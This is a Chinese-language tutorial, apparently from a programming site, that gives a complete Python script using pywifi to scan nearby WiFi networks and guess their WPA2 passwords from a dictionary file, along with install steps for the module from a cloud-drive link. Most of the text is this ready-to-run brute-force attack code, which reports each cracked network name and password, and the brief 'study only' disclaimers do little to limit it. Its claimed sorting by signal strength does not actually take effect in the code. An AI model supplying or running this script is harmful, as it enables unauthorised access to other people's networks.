Python使用pywifi模块扫描并破解WIFI密码的教程
本文介绍如何使用Python的pywifi模块扫描附近WIFI信号并按强度排序,结合密码字典进行暴力破解。文章详细讲解了pywifi模块因官方停更导致的安装问题,提供了本地手动安装的步骤及命令。代码示例展示了如何抓取网卡、获取SSID列表并尝试连接,旨在供安全学习参考,请勿用于非法用途。
近期参考网络上的相关案例,我对代码进行了一定程度的优化与完善。本程序仅用于技术学习与研究,严禁用于任何非法活动。该方案源自网络社区,本人主要进行了功能增强。需要注意的是,这种基于字典的破解方式效率相对较低。本文示例基于Python 3.6.5版本编写。
要实现WIFI连接测试,首先必须引入pywifi模块。因此,在代码开头需要导入该模块以调用相关功能。
部分用户可能未预装此模块。若直接通过pip工具安装,可能会遇到兼容性问题,据悉该模块已停止官方维护。因此,如果pip安装失败,建议下载文中提供的备用资源进行本地部署。
资源下载地址:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安装的具体步骤如下:
1)下载并解压文件后,打开cmd命令行工具,将当前路径切换至解压后的文件目录。
2)执行安装命令:pip install .(注意install后需保留一个空格及英文句点)。
3)系统将自动开始安装过程,等待命令执行完成即可。
程序运行逻辑为:首先扫描附近的WIFI信号,根据信号强度对结果进行排序,并仅保留信号最强的前wificount=5个WIFI名称。
import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
wifi=pywifi.PyWiFi()#抓取网卡接口
ifaces=wifi.interfaces()[0]#获取网卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
list = []
for data in bessis:
if(data.ssid not in namelist): #去掉重复的WIFI名称
namelist.append(data.ssid)
list.append((data.ssid, data.signal))
sorted(list, key=lambda st: st[1], reverse=True)
time.sleep(1)
n=0
if len(list) is not 0:
for item in list:
if(item[0] not in ssidlist):
n=n+1
if n<=wificount:
ssidlist.append(item[0])
print(ssidlist)
def testwifi(ssidname,password):
wifi=pywifi.PyWiFi()#抓取网卡接口
ifaces=wifi.interfaces()[0]#获取网卡
ifaces.disconnect()#断开无限网卡连接
profile=pywifi.Profile()#创建wifi连接文件
profile.ssid=ssidname#定义wifissid
profile.auth=const.AUTH_ALG_OPEN#网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
profile.key=password #wifi密码
ifaces.remove_all_network_profiles()#删除其他所有配置文件
tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
ifaces.connect(tmp_profile)#连接wifi
time.sleep(5)#5秒内能否连接上
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
#print("[-]WiFi connection failure!")
return False
#ifaces.disconnect()#断开连接
#time.sleep(1)
return True
def main():
getwifi()
#ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
if(len(ssidlist) is not 0):
path=r"password.txt"
files=open(path,'r')
while True:
if(len(ssidlist) is 0):
break
try:
password =files.readline()
password=password.strip('\n')
if not password:
break
for item in result: #把已经找到密码的WIFI从查询中删除。
ssidlist.remove(item[0])
for ssidname in ssidlist:
if(testwifi(ssidname,password)==True):
result.append((ssidname,password)) #把找到的WIFI密码保存起来
print('Succ','Current WifiName:',ssidname,'Current Password:',password)
else:
print('Fail','Current WifiName:',ssidname,'Current Password:',password)
except:
continue
files.close()
print("\n","WIFI结果列表:")
for item in result: #把已经找到密码的WIFI从查询中删除。
print("")
print("无线:",item[0])
print("密码:",item[1])
else:
print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
main()
总结
以上内容为本文的全部讲解,希望能为读者的学习或工作提供有价值的参考。感谢各位对本站的支持。如需了解更多相关技术细节,请查阅下方的相关链接。
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













